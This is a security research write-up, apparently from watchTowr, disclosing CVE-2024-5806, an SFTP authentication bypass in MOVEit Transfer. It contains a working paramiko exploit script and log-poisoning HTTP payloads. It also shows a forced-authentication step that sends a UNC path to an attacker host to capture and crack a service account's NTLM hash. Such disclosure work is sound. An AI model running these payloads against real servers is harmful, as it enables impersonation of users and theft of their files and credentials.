Well, you would hope so, but to our surprise, this behavior persisted even in a clean, factory install of the software. Simply attempting to authenticate using a public key (permitted in the default configuration) is enough to trigger this exception to be thrown and subsequently caught. The use of public keys is not only a very common practice, but is heartily recommended by security experts whenever possible, so how could it be that such a foible has gone unnoticed all this time?

Well, perhaps because, while this had some performance impact, it has no security impact on its own. It does, however, seem a strong enough ‘code smell’ to warrant further investigation, as it suggests that somewhere, something is going wrong (and subsequently being corrected).

Our debugger showed us the exact location in which the exception is generated. Since the code was somewhat minimized, the debugger output lacks things such as variable names, but we can see that the Path.GetFullPath method is throwing the exception:

We can see it is passed a string, here named A_0. .NET documentation advises that this string is an input file path, which the .NET framework will then ‘canonicalize’ into a normalized path. However, if we examine the string that is being passed in - here shown in the ‘locals’ window at the bottom of the screen - we can see that it is some garbage binary data, and clearly not a real file path!

Do you see it as well?

Our trained eyes can pick out the string ssh-dss, suggesting that the file path is somehow related to the SSH key exchange (dss being the type of key in use). What on earth is going on here?! This is very much unexpected - during the authentication process, from an unauthenticated perspective (i.e. before successful auth) we don’t expect to be able to influence any file IO on the server.

All the SSHD server should be doing is checking the validity of our presented auth material…..

On a hunch, we compared this binary data to the auth material we supplied during authentication, and were surprised to find that they are identical - the server is attempting to open the binary data representing our auth material, as a file path, on the server. Some might suggest this is truly bizarre behaviour - but we’ve learnt from previous research that sometimes ‘bizarre behaviour’ is ‘as expected’.

According to the SSH specification, this isn’t even supposed to be a valid file path, but simply binary key data that the server should treat as such.

This SSH public key is provided by the client, as part of the authentication process, and is processed before authentication is complete. This means that it is under attacker control, even without any credentials being supplied!

What happens, we wondered, if we supply a valid file path instead of the SSH public key itself? We supplied the filename myfile, and ran the ‘Process Monitor’ tool on the server to see how it reacted.

Oh wow, the madness doesn’t stop at Path.GetFullPath! The file path we specify is actually being accessed by the server.

Accessing arbitrary files from an unauthenticated context is dangerous behavior, from a security standpoint, regardless of what is actually done with them. Even without deeper investigation in to how the server is using this data, there are far-reaching security consequences.

A spoiler for our more impatient readers - ultimately, this flaw allows to to impersonate any user we want on the server! Before we explain how, though, it’s important to be aware of one other (somewhat less severe) attack that is enabled by this strange behavior. This is the possibility of forced authentication.

Attack 1: Forced Authentication

Any attacker worth their salt is probably foaming at the mouth reading this, thinking of all the ways they can abuse our newfound pre-authenticated server-side behaviour.

Their first instinct may be to perform what is known as a forced authentication attack, in which we supply an IP-address based UNC path to a file residing on a malicious SMB server (for example, \\\\192.168.1.1\\myfile). The target server will attempt to connect to the malicious SMB server, which will then request that the target server authenticates itself. Since we supplied an IP address, as opposed to a domain name, the more secure ‘Kerberos’ protocol can’t be used to perform this authentication, and the target will fall back to the older, less secure ‘Net-NTLMv2’ protocol. This protocol is somewhat antiquated, and contains a number of flaws.

This is such a well-known and textbook attack that the mature project Responder will do all the hard work for us. All we need to do is to run it on a host controlled by the attacker to receive connections, and pass a UNC path to our controlled host with SMB/WebDAV exposed instead of a public key to the server. The server will attempt to open the UNC path, connect to Responder, attempt to negotiate authentication, and subsequently provide us with an all-important Net-NTLMv2 hash.

As we alluded to previously, however, sending such a file path instead of a public key is a violation of the SSH specification, and so no off-the-shelf SSH library will allow us to do it. In order to do such a pathological thing, we need to modify the code of an SSH library. In this case, we chose the paramiko Python library.

Some analysis of the way Paramiko performs authentication reveals that the key exchange code makes use of the function _get_key_type_and_bits . This function is responsible for returning the blob of binary data send to the server as the public key (along with the key type).

    def _get_key_type_and_bits(self, key):
        if key.public_blob:
            return key.public_blob.key_type, key.public_blob.key_blob
        else:
            return key.get_name(), key

This seems like the perfect place to inject our file path. We’ll redefine this function, so that instead of returning a key blob, it returns some file path that we control (here we use C:\\testkey.pem as an example).

payload = "C:\\\\testkey.pem"

def _get_key_type_and_bits(self, key):
    if key.public_blob:
        return key.public_blob.key_type, payload
    else:
        return key.get_name(), payload
AuthHandler._get_key_type_and_bits = _get_key_type_and_bits

We’ll then go ahead and write some boilerplate code to connect and then authenticate.

# Open the transport, ready for us to authenticate
transport = paramiko.Transport(([IP of server], 22))

# And attempt to authenticate using a new keypair.
prvkey = paramiko.dsskey.DSSKey.generate(1024)
transport.connect(None, username = 'test', pkey=prvkey)

You might notice that we still need to supply a private key, which we generate on-the-fly, even though we don’t actually send the key to the server due to our modifications. This is because the authentication request to the server must be signed (more details later on, when we take a closer look at the protocol’s authentication process).

Let’s see if this attack will work. We start the Responder suite on our malicious host, and set our modified client library to use the path \\\\attacker.watchtowr.com\\somefile. We then attempt authentication.

MOVEit does indeed connect to our malicious server, and the attack works as expected. Responder captures the NetNTLM hash of the moveitsvc service account, which is the account the SFTP server runs as:

[SMB] NTLMv2-SSP Client   : 192.168.70.48
[SMB] NTLMv2-SSP Username : WIN-RBNN52OCP49\\moveitsvc
[SMB] NTLMv2-SSP Hash     : moveitsvc::WIN-RBNN52OCP49:b841031a8e77e3a6:2B1789A107577E59D576D13397608F8C:010100000000000000505D56E4BDDA01F8E9F755EE211580000000000200080053004E003900300001001E00570049004E002D0052004B0052004900320056004F00310051003500390004003400570049004E002D0052004B0052004900320056004F0031005100350039002E0053004E00390030002E004C004F00430041004C000300140053004E00390030002E004C004F00430041004C000500140053004E00390030002E004C004F00430041004C000700080000505D56E4BDDA01060004000200000008003000300000000000000000000000003000001A760C83CAEA4E9CE717192F423D3CE38EAAD8904C73A4AAD3B8EA8194C971150A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E00370030002E0031003600000000000000000000000000

This hash can then be bruteforced (or, as we chose for demonstration purposes, attacked with a dictionary) via hashcat.

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: MOVEITSVC::WIN-RBNN52OCP49:b841031a8e77e3a6:2b1789a...000000
..
Recovered........: 1/1 (100.00%) Digests
Candidates.#1....: yDWNqb7yjGtx -> yDWNqb7yjGtx

There we have it - the service password is yDWNqb7yjGtx.

While this is a flashy demonstration, it is actually of somewhat limited practical use, due to the hardening and privilege separation used by MOVEit.

As you can see in our original Responder output, the hash that we’ve obtained is specific to the user account moveitsvc, the MOVEit service account. We’d hope that the sysadmins responsible do not permit the MOVEit service account to log in remotely, and ideally that they have limited the reach of SMB traffic, mitigating the attack.

Or worse yet, use a domain-joined account..

Or worse yet, a privileged domain-joined account..

We hope….

Please………

Before we move on, however, there’s one thing to note - in order for the UNC path to be accessed, we must supply a valid username to the system. This poses some obstacle for attackers, but also has the side effect of letting us check if usernames are valid via a ‘dictionary list’ approach.

There is, however, a second (and much more devastating) attack possible. Let’s keep looking.

Attack 2: Assuming The Identity Of Arbitrary Users

Above, we’ve already outlined a simple - pre-authentication - attack, and bluntly, all we’ve done is provide a file path to a server that tries to read said file. At this point, we don’t even know what the server is doing with our file path - but we do know that Progress described this vulnerability as allowing “authentication bypass”.

To dig deeper, we need to understand exactly what is going on with the read file that we can manipulate the SSHD server into reading.

First, let us share some background on the SSH authentication phase, on top of which the SFTP protocol operates (for more details, the SSH RFC, RFC 4252, is surprisingly readable).

Authentication in SSH is very versatile (as Progress are slowly proving).

After negotiating a connection to the server, and verifying the server’s identity, the client is free to send authentication requests in various forms (such as a password, or via a key pair). After each authentication attempt, the server responds, and can accept or reject the attempt, or request additional authentication - for example, the server could require both a registered public key pair, and also a password.

Note that if an authentication attempt fails, the connection does not close, but remains open, whereupon the client is free to send subsequent authentication attempts.

While the ‘password’ authentication type is self-evident, the key pair authentication mechanism deserves a little explanation.

This scheme employs a pair of files, a public and a private part, in order to prove a user’s identity to a server. The public part is deployed to the server via some previous setup mechanism, and the private part is kept secret, on the client. When it’s time to authenticate, the client will send an authentication request to the server, containing the requested username and the public key. It will then sign it using the private part, and send the whole request to the server.

The server must then verify two things, both critically important - firstly, that the signature is correct, and secondly, that the provided key is a valid key for the user trying to log in (i.e., that the user has previously added the public part to their account).

Eventually, once the server is satisfied that the user is who they say they are, it informs the client of such and the connection continues to the next phase, with access granted (and thus in this case, access to files being possible).

This is a complex process, and so the MOVEit developers chose to use a third-party library to handle it (along with all the other lower-level SSH functionality).

The library in question is IPWorks SSH, which is a moderately popular commercial product, averaging 33 downloads a day via the Nuget package manager. MOVEit implements some extra functionality to extend the library.

For example, MOVEit allows the user to store authorized keys in a database, instead of in files, and provides code to handle this.

MOVEit leaves the ‘heavy lifting’ to the IPWorks library, and implements only what it needs to extend it (as you would expect). Since user management is handled by MOVEit, it extends authentication to check authorization against its internal database.

Taking a look inside the code with a decompiler, we can find the code that MOVEit uses to check if an authentication request is to be permitted or denied.

This is the appropriately named (Editors note: is it?) Authenticate method, partly reproduced here for brevity:

		public AuthenticationResult Authenticate(SILUser user)
		{
			if (string.IsNullOrEmpty(this._publicKeyFingerprint) && !this._keyAlreadyAuthenticated)
			{
				this._logger.Error("Attempted to authenticate empty public key fingerprint");
				return AuthenticationResult.Denied;
			}
			if (string.IsNullOrEmpty(user.ID))
			{
				this._logger.Debug("No user ID provided for public key authentication");
				return AuthenticationResult.Denied;
			}
			if (this._signatureIsValid != null && !this._signatureIsValid.Value)
			{
				this._logger.Error("Signature validation failed for provided public key");
				this.StatusCode = 2414;
				this.StatusDescription = "Signature validation failed for provided public key";
				return AuthenticationResult.Denied;
			}
...

As you can see, the method returns an AuthenticationResult, specifying the result of the authentication, and also sets a StatusCode which specifies details of the failure.

It checks that the public key is valid and not empty, denying the request if so, and also that a valid username is provided, again denying the attempt if this is not the case. It proceeds to check the signature of the authentication request, denying authentication if it is not valid, and setting the StatusCode to a value to signify the condition.

One thing is interesting in this code, however. Note that some stanzas set the StatusCode in addition to signalling the result of the authentication via the return code, while others (such as the first two) will return AuthenticationResult.Denied and leave StatusCode set at its default, zero.

At first glance, this is uninteresting, as the function is correctly denying authentication, albeit without providing any reason. However, some analysis of the code that invokes this Authenticate function paints it in a very different light.

This is because, elsewhere in the code, this combination of “ AuthenticationResult.Denied but the StatusCode set to zero” is actually used to signify an entirely different condition - the situation where the public key is validated and correct, but an additional authentication step is required (for example, an additional password is required). We can see this by examining this function, which adds an illuminating message to the system logs:

		if (globals.objUser.ErrorCode == 0)
		{
			this._logger.LogMessage(LogLev.MoreDebug, validationOnly ? "Client key validation successful but password is also required" : "Client key authentication successful but password is also required");
			return AuthenticationResult.Indeterminate;
		}

This has the end result that, if we can trigger one of first the two error handlers, we’ll also trigger this additional code - despite not having supplied a valid key. But how can we do this?

This is where our initial vulnerability observation comes in useful.

As we stated before, passing in a file path instead of a public key will result in the key being loaded from that file on the server. This step is performed by IPWorks SSH. For some reason we can only speculate on, however, IPWorks will not pass the public key to MOVEit when it has been loaded from a file. Instead, in this condition, IPWorks will simply pass the empty string “” instead of the public key.

Since the empty string is passed in to Authenticate, the check string.IsNullOrEmpty(this._publicKeyFingerprint) will pass, triggering the buggy code path. Authenticate will return a status of Denied but will not set the StatusCode, which is left at zero. The caller will then interpret this as a requirement for an additional authentication.

Of course, for us to reach the stage of the key being checked and Authenticate being invoked in the first place, we must satisfy some additional constraints:

• Firstly, we must provide a valid username to the server, and
• Secondly, the authentication packet must pass the signing check enforced by the server.

This means we must sign the authentication request, using the private half of the key that we then specify the path to on the server end. The server is then able to use the key, as found on its filesystem, to validate the authentication packet.

Signing the authentication request is easy to do ourselves, since we have the key available, but it imposes the additional requirement that the server will need the public key available in order to verify the fingerprint and validate it as correct.

For the purposes of a straightforward explanation, we’re going to assume that we’ve got enough access to the server that we can upload our own public key. This isn’t far-fetched, given the multi-user nature of MOVEit.

Besides, once we’ve finished explaining this part of the vulnerability, we’ll progress into removing this limitation, for which there are multiple techniques.

Here’s a quick summary of what we’ve just figured out:

• We assume we can upload a public key to the server’s filesystem
• If we attempt to authenticate, but supply a filename instead of a public key, then IPWorks SSH will read that file, on the the server, and use it to verify the authentication request/attempt itself
• IPWorks SSH will then hand off authentication to MOVEit’s Authenticate method, passing it the empty string (””) instead of a fingerprint
• Authenticate will then take a buggy code path which will let us progress authentication even though it should’ve failed.

This is a lot of theoretical progress without much practical verification - let’s remedy that by giving it a go!

First, we generate a key pair, and place the public half on the server as C:\\testkey.pem .

Second, we send an authentication request, supplying the path C:\\testkey.pem instead of our key. We also take care to signing our packet with the same key.

Upon doing this, we see an interesting combination of log messages generated by MOVEit - a sure sign that something isn’t so right in the authentication chain:

UserAuthRequestHandler: SftpPublicKeyAuthenticator: Attempted to authenticate empty public key fingerprint
SILUser.ExecuteAuthenticators: User 'user2' was denied authentication with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator; ceasing authentication chain
UserAuthRequestHandler: Client key validation successful but password is also required

This is contradictory - the first message is telling us that an authentication was attempted with an empty public key, and so authentication was explicitly denied. However, the second line tells us that key validation was successful.

This is aligned with our expectations - the Authenticate method has rejected our key, but the caller of Authenticate mistakenly believes it has been accepted.

Given this belief, authentication is then allowed to continue for the user. The authentication is assessed as Indeterminate , as it would be if we had provided a valid key but the server required further proof of identity.

Notably, the user is then marked as having correctly authenticated via a public key:

switch (authResult)
{
...
			case AuthenticationResult.Indeterminate:
					userAuthResult.AuthResult = AuthResult.PartialSuccess;
					userAuthResult.AvailableAuthMethods = new string[] { "password" };
					authContext.Session.HasAuthenticatedByPublicKey = true;
					authContext.Session.LastPublicKeyFingerprint = publicKeyFingerprint;
					return userAuthResult;
...

So, in summary, we’ve supplied an empty private key file, and have been mistakenly marked as partially authenticated. The server then prompts us for our password to complete authentication.

This is clearly an error case, but at first glance, it seems benign. After all, we aren’t fully authenticated. We don’t know the user’s password, so we can’t complete authentication. Harmless, right?

Well, no. It turns out, there’s another critical corner case here.

As you can see above, the HasAuthenticatedByPublicKey value has been set to true, and LastPublicKeyFingerprint to the fingerprint that the user has authenticated with (in this case, the null-length string). This value is normally used by MOVEit to avoid verifying the same signature twice, since verifying it is computationally expensive. It’s a cache, of sorts. Usually, this LastPublicKeyFingerPrint value is set to the fingerprint of the key, but because we’ve sent a packet that contains a path, rather than a key itself, it is set to the null-length string “”.

This has the effect that MOVEit believes the public key authentication has succeeded, and additionally, that the public key fingerprint “” is valid and authorized for the given user.

Now, since the server hasn’t rejected our authentication, the authentication process continues, using the same null-length string as a public key. This time, however, before MOVEit tries to validate the key, it’ll notice that the key has already been authenticated and found to be correct:

UserAuthRequestHandler: Client key fingerprint  already authenticated for user user2; continuing with user authentication process

Notice the two spaces between ‘fingerprint’ and ‘already’ - that’s where the fingerprint itself is normally printed. In this case, the fingerprint is the null-length string, “”.

The server will then attempt to continue the authentication process, using what it thinks it has found to be a valid public key (but is actually the null-length string). Authenticate is called once again, and this time around, it finds _keyAlreadyAuthenticated to be true. This causes it to skip the null-length check we hit before. All other tests pass, and we fall through to return AuthenticationResult.Authenticated. This is seen as a successful authentication in the system logs:

SILUser.ExecuteAuthenticators: Authenticating user 'user2' with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator
SILUser.ExecuteAuthenticators: User 'user2' authenticated with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator

This has the end result that the user is authenticated successfully, despite the fact that the only key that has been presented for authentication is the null-length string.

This is a devastating attack - it allows anyone who is able to place a public key on the server to assume the identity of any SFTP user at all. From here, this user can do all the usual operations - read, write, or deleting files, or otherwise cause mayhem.

That was a somewhat technical explanation, especially considering that actual exploitation is so simple. All we really need to do is follow a few simple steps:

• Upload a public key to the server
• Authenticate. Instead of supplying a valid public key to authenticate with, send the file path to the public key on the server. Sign the authentication request with the same key we uploaded before, as normal.
• The key will be accepted by the server, and login will succeed. Now we can access any files from the target we like, as if we were the username we specified.

For those who prefer to read code, here’s a script to carry out these steps.

import logging
import paramiko
import requests
from paramiko.auth_handler import AuthHandler

username = '<target user>'
pemfile = 'key.pem'
host, port = "<target hostname>", 22

# Patch this function in Paramiko in order to inject our payload instead of the SSH key
def _get_key_type_and_bits(_, key):
    payload = "C:\\\\testkey.pem" # Target file path on the server 
    if key.public_blob:
        return key.public_blob.key_type, payload
    else:
        return key.get_name(), payload
AuthHandler._get_key_type_and_bits = _get_key_type_and_bits

# Connect the SFTP session.
transport = paramiko.Transport((host, port))

transport.connect(None, username, pkey=paramiko.dsskey.DSSKey.from_private_key_file(pemfile))

# Just to show things have worked, show the contents of the user's home directory.
sftp = paramiko.SFTPClient.from_transport(transport)
print(f"Listing files in home directory of user {username}:\\r\\n")
for fileInfo in sftp.listdir_attr('.'):
    print(fileInfo.longname)

The output is, as we expect, a list of files in the home directory of the target user.

(venv) c:\\code\\moveit>python ssh.py
Listing files in home directory of user user2:

-rw-rw-rw- 1 0 0 31.9M Jun 11 11:39 stocks.xlsx
-rw-rw-rw- 1 0 0 2.4M Jun 13 13:32 customer_list.xlsx
-rw-rw-rw- 1 0 0 2.3M Jun 15 12:16 payroll_Jun.csv
-rw-rw-rw- 1 0 0 1.2M Jan 21 10:03 my_signature.png
-rw-rw-rw- 1 0 0  304 Jun 17 17:29 passwords.txt

Ruh-roh! We’ve shown that we’ve successfully authenticated as this user. From here, we can do anything the user can do - including reading, modifying, and deleting previously protected and likely sensitive data.

So, that’s great! We’ve got a way for a valid user to impersonate any other user on the system, but it requires them to be able to upload a public key file for it to work.

Pre-requisites are lame, and for pentesters. We promised that we’d explain how to sidestep this requirement, so let’s continue.

Fileless Exploitation

This is an concerning vulnerability and thus attack, given MOVEit’s threat model.

Given that the purpose of the software is to share files, the requirement that an attacker must be able to upload a file sets the bar very low - but still, a bar.

However, we can do even better. Let’s see about removing that requirement.

First off, there is one somewhat obvious possibility - we could host the public key file on a remote server, and supply a UNC path to it.

The server would then load it straight from the network. We assume that any administrator running MOVEit has correctly restricted outbound SMB traffic via a firewall or suchlike (if you haven’t, you definitely should) (ha ha you do right? tell us you do?)

We can do better than this.

At this point, we mentally moved away from the SFTP component, and spent a while looking for a way to obtain a file upload primitive from the main MOVEit web application. Any kind of anonymous file upload is good enough, as long as we can satisfy two conditions:

• First, we must be able to upload a valid SSH public key without needing any auth/legitimate access to the host, and,
• Secondly, the path to the file must be predictable so we can predictably supply it in our SSH authentication process.

Unfortunately, we didn’t immediately find anything that satisfies such a set of conditions.

Eventually though, after some meditation on the problem, we achieved enlightenment.

We realized that our actions so far had already caused data to be written to the disk, on the server, in a predictable file path! Can you figure out what mechanism we obliquely refer to?

Yes! Exactly! The system log files!

They’re in a predictable location on disk, and when we request anything from the server, we can cause data to be written to them. If we supply our public key in a HTTP request, it’ll be written to the log file, and we can then specify the path to the log file in our SSH authentication request!

There are many ways to induce the MOVEit server to log data we supply. The simplest is by trying to log on, which will cause the supplied username to be entered into the system logs:

SILUser.ExecuteAuthenticators: User 'Sina' was denied authentication with authenticator: MOVEit Internal User Store Authenticator; ceasing authentication chain

We could supply our public key instead of a username, via the HTTP interface:

POST /human.aspx HTTP/1.1
Host: {{host}}
Content-Length: 1480

transaction=signon&fromsignon=1&InstID=8294&Username=
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "[email protected]"
AAAAB3NzaC1kc3MAAACBAIrAsIu1tvkRHImLwuv9/OhnHwhPjndOX17quEPJBAcq
...
AzY4ofp+AFdG4m064RsTi2GBR7Tr1WiQmCywPcv6SKBi5roxPCi3x1aotjQnd6JN
Pw==
---- END SSH2 PUBLIC KEY ----
&Password=a

This does indeed result in the key being added to the system logs:

SILUser.ExecuteAuthenticators: User '
---- begin ssh2 public key ----
comment: "[email protected]"
aaaab3nzac1kc3maaacbairasiu1tvkrhimlwuv9/ohnhwhpjndox17quepjbacq
...
azy4ofp+afdg4m064rsti2gbr7tr1wiqmcywpcv6skbi5roxpci3x1aotjqnd6jn
pw==
---- end ssh2 public key ----
' was denied authentication with authenticator: MOVEit Internal User Store Authenticator; ceasing authentication chain

This looks very promising, at first glance.

We’ve got our SSH public key inserted into a system log file, and we can use our aforementioned make-SSHD-read-any-file-unauth-as-part-of-the-auth-process vulnerability to specify that this system log file contains our SSH public key.

However, we were disappointed to find that it didn’t work - the server simply rejected our login request, and logged an entry signifying that it was unable to load the private key content:

Status message from server: SSH handshake failed: The certificate store could not be opened.

Well, it turns out there are two different reasons the server finds the situation unacceptable.

Firstly, the key data is in the middle of the file, and not the start of the file.

When MOVEit attempts to load the key from the file, it will not skip extra data, and if the file does not begin with the SSH key signature - ---- BEGIN SSH2 PUBLIC KEY - the file load process with be aborted and the key will not be loaded.

Secondly, if we could satisfy the above condition, there is a further problem.

Looking closely at the log file, you may notice that the key data has been turned to lowercase. This results in the file signature being incorrect, as it must be uppercase, and also in the decode of the key data failing since Base64 is case-sensitive.

Somewhat disappointed, we searched for an endpoint which would log arbitrary data, at the start of a file, without modifying it. This is quite a specific requirement, and while we searched high and low, we did not find a method that could satisfy it.

The closest our search came was the MOVEit.DMZ.WebApp.SILGuestAccess.GetHTML method, which appears to log untrusted data in a much cleaner way. A little reverse-engineering revealed that the parameter Arg12 of the endpoint /guestaccess.aspx was passed into logging functions without any kind of modification.

We performed a POST to it, specifying the value signoff for the transaction argument, and our key in the Arg12 parameter.

POST /guestaccess.aspx HTTP/2
Host: {{host}}
Content-Length: 52
Content-Type: application/x-www-form-urlencoded

transaction=signoff&Arg12=
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "[email protected]"
AAAAB3NzaC1kc3MAAACBAIrAsIu1tvkRHImLwuv9/OhnHwhPjndOX17quEPJBAcq
...
AzY4ofp+AFdG4m064RsTi2GBR7Tr1WiQmCywPcv6SKBi5roxPCi3x1aotjQnd6JN
Pw==
---- END SSH2 PUBLIC KEY ----

Taking a look through the log file, we can see that the key has made it into the log files. It’s surrounded by other text, but the key is safely there, at least.

2024-06-19 15:42:33.223 #14 z30 GuestAccess_GetHTML: Redirecting to human.aspx, the common sign-on page: /human.aspx?OrgID=8294&Language=en&Arg12=
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "[email protected]"
AAAAB3NzaC1kc3MAAACBAIrAsIu1tvkRHImLwuv9/OhnHwhPjndOX17quEPJBAcq
...
AzY4ofp+AFdG4m064RsTi2GBR7Tr1WiQmCywPcv6SKBi5roxPCi3x1aotjQnd6JN
Pw==
---- END SSH2 PUBLIC KEY ----
2024-06-19 15:42:33.223 #14 z10 SILGuestAccess.GetHTML: Caught exception of type ArgumentException: Redirect URI cannot contain newline characters.
Stack trace:
   at System.Web.HttpResponse.Redirect(String url, Boolean endResponse, Boolean permanent)
   at System.Web.HttpResponseWrapper.Redirect(String url)
   at MOVEit.DMZ.WebApp.SILGuestAccess.GetHTML(HttpRequest& parmRequest, HttpResponse& parmResponse, HttpSessionState& parmSession, HttpApplicationState& parmApplicationState)

We now have half our problem solved - we’ve successfully planted our public key into the system log files, with the intention of using it for authentication.

However, the first problem still stands.

Any attempt to load the file will fail, since the key does not appear at the start of the file, and thus the file is not a valid OpenSSH-format public key. Given that we couldn’t find any way to log at the start of a file, we searched for some clever way around this requirement.

We found this to be something of an uphill struggle. Examining the code responsible for loading OpenSSH keys, we found it to be quite exacting. It will eagerly reject files containing such unrelated junk at the earliest opportunity.

It turns out, however, that OpenSSH isn’t the only key format that the server supports.

All in all, it supports a whopping 12 different key types, including such oddities as XML-encoded keys and Java-format JWK stores. We carefully combed through the code responsible for loading these keys, looking for any way to read a key from a file that contained junk data as well as the key file itself, but were repeatedly foiled as the key-loading process required similar structure.

For example, the XML file format first appears interesting, but requires a correctly-formatted XML document.

We then searched for functionality inside MOVEit which could write attacker-controlled data into a valid XML file, but came up blank. We were forced to abandon the XML file format as we had the OpenSSH format.

Our search, however, was not in vain, as in due course, we eventually discovered the PPK file format. We took a close look at the code that handles loading such keys:

    public static void D([In] jc obj0, [In] string obj1, [In] string obj2)
    {
      Hashtable hashtable1 = new Hashtable();
      Hashtable hashtable2 = new Hashtable();
      if (!kj.A(obj1, hashtable1, hashtable2))
        throw new Wm(271, "Cannot open certificate store: PPK encoding method is unknown.");
      string str1 = sU.j(hashtable1, "Encryption");
      string str2 = sU.j(hashtable2, "Public");
      string str3 = sU.j(hashtable2, "Private");
      byte[] numArray1 = null;
      if (hashtable1.ContainsKey((object) "PuTTY-User-Key-File-3") && Wk.strEqNoCase(str1, "aes256-cbc"))
      {
      ...

Although perhaps not obvious from the code snippet, this function is passed a list of ASCII-delimited lines, read from the input file, and proceeds to search this list for the presence of specific strings - for example, near the bottom of the snippet, we see PuTTY-User-Key-File-3 , which is being searched for in the file.

Given this searching, we wondered, could we convince the PPK file loader to load our key, even with lots of extra text around it?

We took a look at how this list of lines was generated:

			for (keyPos < keyText.Length)
			{
			..
				lines[0] = lines[0].Trim();
				bool containsColon = lines[0].Contains(":");
				if (containsColon)
				{
					int colonPos = array[0].IndexOf(":");
					
					string firstPart  = substr(lines[0], 0           , colonPos).Trim();
					string secondPart = substr(lines[0], colonPos + 1          ).Trim();

			...

This looks pretty promising - here, we’re going through each line in the input, stripping whitespace, and splitting it into two parts, delimited by a colon, :. There’s no checking if the result is valid or not - a table is simply built of key-value pairs, and the above code will then examine this table, looking for the keys it needs. Lines without a colon will simply by skipped (due to the if (containsColon) ) rather than causing an error.

Encouraged by this, we did some research on the PPK file format and cross-referenced our findings with the decompiled loader code.

While the PPK file format holds a private key, as opposed to the public key we’re attempting to upload, this is okay - for the server’s purposes of verifying the signature, the private key is simply a superset of the public key.

We duly converted our private key into the PPK format, and took a look at the result.

PuTTY-User-Key-File-3: ssh-dss
Encryption: none
Comment: [email protected]
Public-Lines: 10
AAAAB3NzaC1kc3MAAACBAIrAsIu1tvkRHImLwuv9/OhnHwhPjndOX17quEPJBAcq
...
AzY4ofp+AFdG4m064RsTi2GBR7Tr1WiQmCywPcv6SKBi5roxPCi3x1aotjQnd6JN
Pw==
Private-Lines: 1
AAAAFQ.....................IePlr1g==
Private-MAC: 9ef71.................................................edb1d3fc3e

We provided this data via a POST the the same endpoint as before:

POST /guestaccess.aspx HTTP/2
Host: {{host}}
Content-Length: 52
Content-Type: application/x-www-form-urlencoded

transaction=signoff&Arg12=
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "[email protected]"
AAAAB3NzaC1kc3MAAACBAIrAsIu1tvkRHImLwuv9/OhnHwhPjndOX17quEPJBAcq
...
AzY4ofp+AFdG4m064RsTi2GBR7Tr1WiQmCywPcv6SKBi5roxPCi3x1aotjQnd6JN
Pw==
---- END SSH2 PUBLIC KEY ----

And we noted that the key, again, made it into the logfiles. This time, however, when we tried to authenticate, the key was parsed correctly, and authentication was allowed, as before:

SILUser.ExecuteAuthenticators: Authenticating user 'user2' with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator
SILUser.ExecuteAuthenticators: User 'user2' authenticated with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator

Great! We’ve found a way to upload our SSH public key to the server without even logging in, and then use that key material to allow us to authenticate as anyone we want!

We’ll take our previous PoC - the code that we used to force authentication - and add a small stanza to inject the key file into the system logs.

Note that, in the default configuration, logs are flushed to disk every sixty seconds, and so we need to wait for this amount of time to be sure that our key has made it to disk.

...

# Make sure our keyfile is in the system logs
with open(ppkfile) as f:
    ppkFileData = f.read()
requests.post(f"https://{host}/guestaccess.aspx", data={"transaction": "signoff", "Arg12": f"\\r\\n{ppkFileData}"})
time.sleep(61)

...

The outcome is severe.

As per before, we are able to access files, with the only requirement being knowledge of a valid username. Also as per before, we’re able to retrieve sensitive files from the server, delete them, or otherwise do anything that the authenticated user can do.

But now, we have a trivial way regardless of any access to get our SSH public key placed onto the MOVEit Transfer server in a predictable manner.

Our finalised Python-based detection artefact generator tool (no, it’s not a PoC, that’s different - go away) can be found on our GitHub as usual.

It takes a key pair in both OpenSSH and PPK file formats, and will inject it into the logs on the server, before using it to authenticate as the supplied username. It will show the files on the server to demonstrate that it has logged in with all the privileges of the target.

C:\\code\\moveit> python CVE-2024-5806.py --target-ip 192.168.1.1 --target-user user2 --ppk id.ppk --pem id
                         __         ___  ___________
         __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________
         \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
          \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
           \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|
                                  \\/          \\/     \\/

        CVE-2024-5806.py
        (*) Progress MoveIT Transfer SFTP Authentication Bypass (CVE-2024-5806)
          - Aliz Hammond, watchTowr ([email protected])
          - Sina Kheirkhah (@SinSinology), watchTowr ([email protected])
        CVEs: [CVE-2024-5806]

(*) Poisoning log files multiple times to be sure...
..........OK
(*) Waiting 60 seconds for logs to be flushed to disk
(*) Attempting to authenticate..
(*) Trying to impersonate user2 using the server-side file path 'C:\\MOVEitTransfer\\Logs\\DMZ_WEB.log'
(+) Authentication succeeded.
(+) Listing files in home directory of user user2:

-rw-rw-rw- 1 0 0 1.4M Jun 11 11:39 stocks.xlsx
-rw-rw-rw- 1 0 0 2.4M Jun 13 13:32 customer_list.xlsx
-rw-rw-rw- 1 0 0 2.3M Jun 15 12:16 payroll_Jun.csv
-rw-rw-rw- 1 0 0 1.2M Jan 21 10:03 my_signature.png
-rw-rw-rw- 1 0 0  304 Jun 17 17:29 passwords.txt

Obtaining Usernames

This is, as we say, a devastating “limited scenario” vulnerability.

The only thing resembling a restriction is that an attacker must have a valid username to the SFTP subsystem in order to know who to impersonate. It is easy to imagine an attacker would use a list of usernames, perhaps from an email list, attempting the exploit with each in turn until one works.

Maybe dav1d_bl41ne was right? The limitation is population access to the Internet?

However, there is an additional way to use our attack to check if usernames are valid, allowing a dictionary-like attack, wherein an attacker could spray tokens such as email addresses or likely usernames.

This hinges on the fact that MOVEit will only access the public key file if the username provided is valid. We can simply attempt authentication for varying usernames, supplying a UNC path to a malicious server, and observe which usernames generate a file access.

